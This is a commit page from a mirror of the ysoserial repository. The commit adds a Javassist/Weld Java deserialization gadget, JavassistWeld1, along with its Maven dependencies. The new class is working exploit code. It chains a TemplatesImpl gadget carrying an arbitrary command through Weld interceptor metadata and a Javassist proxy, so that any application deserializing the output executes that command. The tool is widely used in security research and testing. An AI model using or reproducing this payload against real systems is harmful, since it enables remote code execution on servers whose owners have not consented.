mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-26 17:01:53 +08:00
Adding a Javassist/Weld gadget to ysoserial.
This commit is contained in:
@@ -257,6 +257,16 @@
|
|||||||
<artifactId>js</artifactId>
|
<artifactId>js</artifactId>
|
||||||
<version>1.7R2</version>
|
<version>1.7R2</version>
|
||||||
</dependency>
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>javassist</groupId>
|
||||||
|
<artifactId>javassist</artifactId>
|
||||||
|
<version>3.12.0.GA</version>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.jboss.weld</groupId>
|
||||||
|
<artifactId>weld-core</artifactId>
|
||||||
|
<version>1.1.33.Final</version>
|
||||||
|
</dependency>
|
||||||
</dependencies>
|
</dependencies>
|
||||||
|
|
||||||
<profiles>
|
<profiles>
|
||||||
|
|||||||
@@ -0,0 +1,88 @@
|
|||||||
|
package ysoserial.payloads;
|
||||||
|
|
||||||
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||||
|
import javassist.util.proxy.ProxyFactory;
|
||||||
|
import javassist.util.proxy.ProxyObject;
|
||||||
|
import javassist.util.proxy.RuntimeSupport;
|
||||||
|
import org.jboss.weld.interceptor.builder.InterceptionModelBuilder;
|
||||||
|
import org.jboss.weld.interceptor.builder.MethodReference;
|
||||||
|
import org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory;
|
||||||
|
import org.jboss.weld.interceptor.proxy.InterceptorMethodHandler;
|
||||||
|
import org.jboss.weld.interceptor.reader.ClassMetadataInterceptorReference;
|
||||||
|
import org.jboss.weld.interceptor.reader.DefaultMethodMetadata;
|
||||||
|
import org.jboss.weld.interceptor.reader.ReflectiveClassMetadata;
|
||||||
|
import org.jboss.weld.interceptor.reader.SimpleInterceptorMetadata;
|
||||||
|
import org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator;
|
||||||
|
import org.jboss.weld.interceptor.spi.metadata.InterceptorReference;
|
||||||
|
import org.jboss.weld.interceptor.spi.metadata.MethodMetadata;
|
||||||
|
import org.jboss.weld.interceptor.spi.model.InterceptionModel;
|
||||||
|
import org.jboss.weld.interceptor.spi.model.InterceptionType;
|
||||||
|
import ysoserial.payloads.annotation.Dependencies;
|
||||||
|
import ysoserial.payloads.util.Gadgets;
|
||||||
|
import ysoserial.payloads.util.PayloadRunner;
|
||||||
|
|
||||||
|
import java.lang.reflect.Constructor;
|
||||||
|
import java.util.*;
|
||||||
|
|
||||||
|
/*
|
||||||
|
by @matthias_kaiser
|
||||||
|
*/
|
||||||
|
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||||
|
@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final"})
|
||||||
|
public class JavassistWeld1 implements ObjectPayload<Object> {
|
||||||
|
|
||||||
|
public Object getObject(final String command) throws Exception {
|
||||||
|
|
||||||
|
final Object gadget = Gadgets.createTemplatesImpl(command);
|
||||||
|
|
||||||
|
InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class);
|
||||||
|
ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class);
|
||||||
|
InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata);
|
||||||
|
|
||||||
|
Set<InterceptionType> s = new HashSet<InterceptionType>();
|
||||||
|
s.add(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE);
|
||||||
|
|
||||||
|
Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class);
|
||||||
|
defaultMethodMetadataConstructor.setAccessible(true);
|
||||||
|
MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s,
|
||||||
|
MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true));
|
||||||
|
|
||||||
|
List list = new ArrayList();
|
||||||
|
list.add(methodMetadata);
|
||||||
|
Map<org.jboss.weld.interceptor.spi.model.InterceptionType, List<MethodMetadata>> hashMap = new HashMap<org.jboss.weld.interceptor.spi.model.InterceptionType, List<MethodMetadata>>();
|
||||||
|
|
||||||
|
hashMap.put(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list);
|
||||||
|
SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap);
|
||||||
|
|
||||||
|
builder.interceptAll().with(simpleInterceptorMetadata);
|
||||||
|
|
||||||
|
InterceptionModel model = builder.build();
|
||||||
|
|
||||||
|
HashMap map = new HashMap();
|
||||||
|
map.put("ysoserial", "ysoserial");
|
||||||
|
|
||||||
|
DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory();
|
||||||
|
|
||||||
|
InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() {
|
||||||
|
|
||||||
|
public Object createFor(InterceptorReference paramInterceptorReference) {
|
||||||
|
|
||||||
|
return gadget;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
InterceptorMethodHandler interceptorMethodHandler = new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory);
|
||||||
|
ProxyFactory proxyFactory = new ProxyFactory();
|
||||||
|
proxyFactory.setSuperclass(HashMap.class);
|
||||||
|
ProxyObject proxy = (ProxyObject) proxyFactory.createClass().newInstance();
|
||||||
|
proxy.setHandler(interceptorMethodHandler);
|
||||||
|
|
||||||
|
return RuntimeSupport.makeSerializedProxy(proxy);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static void main(final String[] args) throws Exception {
|
||||||
|
PayloadRunner.run(JavassistWeld1.class, args);
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user